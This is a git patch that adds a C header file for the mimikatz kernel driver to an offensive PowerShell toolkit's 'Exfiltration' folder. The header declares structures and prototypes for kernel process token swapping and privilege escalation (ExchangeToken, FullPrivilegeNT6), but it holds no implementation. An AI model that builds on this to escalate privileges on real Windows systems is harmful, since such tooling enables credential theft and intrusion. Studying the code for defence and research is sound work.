From 59cd18360764af6e6133ad11ec9cd8295372e587 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 1 Oct 2013 09:47:05 -0700 Subject: Adding Invoke-Mimikatz and Invoke-Ninjacopy --- Exfiltration/mimikatz-1.0/driver/processes.h | 33 ++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 Exfiltration/mimikatz-1.0/driver/processes.h (limited to 'Exfiltration/mimikatz-1.0/driver/processes.h') diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h new file mode 100644 index 0000000..ae99825 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.h @@ -0,0 +1,33 @@ +#pragma once +#include +#include "k_types.h" + +#define INDEX_EPROCESS_NEXT 0 +#define INDEX_EPROCESS_FLAGS2 1 +#define INDEX_TOKEN_PRIVS 2 +#define MAX_EPROCESS_LEN 3 + +#define TOKEN_FROZEN_MASK 0x00008000 + +typedef struct _KIWI_NT6_PRIVILEGES +{ + UCHAR Present[8]; + UCHAR Enabled[8]; + UCHAR EnabledByDefault[8]; +} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; + +typedef enum _KIWI_EPROCESS_ACTION +{ + ListProcesses, + ExchangeToken, + FullPrivilegeNT6 +} KIWI_EPROCESS_ACTION; + +extern char* PsGetProcessImageFileName(PEPROCESS monProcess); +extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action); \ No newline at end of file -- cgit v1.2.3